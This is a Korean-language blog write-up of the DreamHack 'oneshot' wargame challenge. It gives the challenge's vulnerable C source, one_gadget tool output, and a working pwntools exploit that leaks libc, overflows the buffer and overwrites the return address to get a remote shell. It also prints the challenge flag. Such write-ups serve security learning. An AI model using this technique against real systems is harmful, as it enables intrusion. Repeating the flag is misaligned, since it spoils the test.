Description
이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다.프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요."flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.플래그의 형식은 DH{...} 입니다.
one_gadget은 Glibc 바이너리 내에서 쉘을 실행하는 특정 코드 시퀀스를 의미한다. 이 가젯을 통해 특정 조건이 충족되면 직접 쉘을 실행할 수 있다. one_gadget의 가장 큰 장점은 '단일 가젯으로 쉘을 획득할 수 있다'는 점이다.
**one_gadget을 이용한 익스플로잇 단계
One_gadget 위치 찾기: one_gadget 도구(특정 Glibc 바이너리에서 이러한 가젯을 찾는 도구)를 사용하여 대상 프로그램에서 사용할 수 있는 가젯을 식별한다.
익스플로잇 작성: one_gadget의 주소로 반환 주소(RET)를 덮어쓰는 익스플로잇을 작성한다. 실행 시 one_gadget이 요구하는 조건을 충족하도록 한다.
즉, RET을 one_gadget으로 덮을 수 있다면 단일 가젯으로 쉽게 쉘을 획득할 수 있다.
문제코드
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
read 함수를 이용해서 버퍼 오버플로우를 시키고 one-shot gadget으로 RET를 덮어보자!
user@user-virtual-machine:~/HB_5week/oneshot$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
첫 번째 one gadget 0x45216을 이용해서 익스플로잇을 해보자.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 21326)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'
one_gadget = 0x45216
# [1] Leak base
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget
slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", one_gadget)
# [2] Exploit
payload = b'A'*24
payload += b'\x00'*8
payload += b'B'*8
payload += p64(one_gadget)
p.sendafter("MSG: ", payload)
p.interactive()
DH{a6e74f669acffd69602b76c81c0516b2}
'Pwnable' 카테고리의 다른 글
[DreamHack] shell_basic Write-Up (0) | 2024.09.19 |
---|---|
[DreamHack] hook Write-Up (0) | 2024.09.18 |
[DreamHack] fho 문서화 | docker로 ubuntu 18.04에서 pwnable환경 세팅 : pwndbg.ver | 도커 파일 옮기기 (0) | 2024.09.18 |
[DreamHack] basic_rop_x64 Write-Up (0) | 2024.09.18 |
[DreamHack] basic_rop_x86 Write-Up (0) | 2024.09.18 |